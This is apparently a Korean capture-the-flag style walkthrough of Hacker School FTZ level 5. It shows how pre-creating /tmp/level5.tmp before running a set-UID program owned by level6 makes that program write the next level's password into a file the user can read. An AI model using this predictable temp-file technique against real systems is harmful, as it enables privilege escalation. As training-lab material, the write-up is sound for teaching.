Hacker School FTZ
- level 5 -

1. hint 파일 살펴보기

```
[level5@ftz level5]$ ls
hint  public_html  tmp
```

처음 접속하여 ls 명령어를 이용해 현재 디렉토리를 살펴보았다.
hint라는 파일이 존재하는 것을 확인할 수 있다.

```
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.
```

cat 명령을 이용해 hint 파일의 내용을 살펴보았다.

```
[level5@ftz level5]$ ls -al /usr/bin/level5
-rws--x---    1 level6   level5      12236  9월  10  2011 /usr/bin/level5
```

level5 파일을 확인해본 결과 level6 권한의 Set-UID 프로그램인 것을 확인할 수 있었다.

2. level5 실행해보기

```
[level5@ftz level5]$ cd /usr/bin/
[level5@ftz bin]$ ./level5
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ ls
cgn5EpxN  mysql.sock
[level5@ftz tmp]$ ls -al
합계 12
drwxrwxrwt    3 root     root         4096  1월  23 18:50 .
drwxr-xr-x   20 root     root         4096  1월  23 18:46 ..
drwx------    2 root     root         4096 12월  19  2007 cgn5EpxN
srwxrwxrwx    1 mysql    mysql           0  1월  23 18:46 mysql.sock
```

hint 파일에 설명된 대로 /usr/bin 경로로 이동하여 level5 프로그램을 실행해보았다.
하지만, /tmp 경로에는 hint 파일에서 설명되었던 level5.tmp라는 이름의 임시파일은 생성되지 않은 것을 확인할 수 있다.

3. level5.tmp 생성

그렇다면 한 가지 가능성이 존재한다.
level5 프로그램은 이미 생성되어 있는 파일에 덮어씌워지는 것이 아닐까?
이에 cat 명령을 이용하여 level5.tmp라는 이름을 가진 빈 파일을 생성하였다.

```
[level5@ftz tmp]$ cat > level5.tmp
```

4. level5 실행

```
[level5@ftz tmp]$ cd /usr/bin/
[level5@ftz bin]$ ./level5
```

이후, 앞선 단계와 같이 level5 프로그램을 다시 한번 실행해보았다.

```
[level5@ftz bin]$ cd /tmp
[level5@ftz tmp]$ cat level5.tmp
next password : [redacted]
```

/tmp 경로로 이동하여 level5.tmp 파일을 cat 명령을 이용해 살펴본 결과, 처음에는 빈 파일이었던 level5.tmp에 내용이 삽입되어 있는 것을 확인할 수 있다. 이 내용은 다음 단계는 level6의 비밀번호로 이를 따로 기록하여 level6 로그인 시, 이용하자.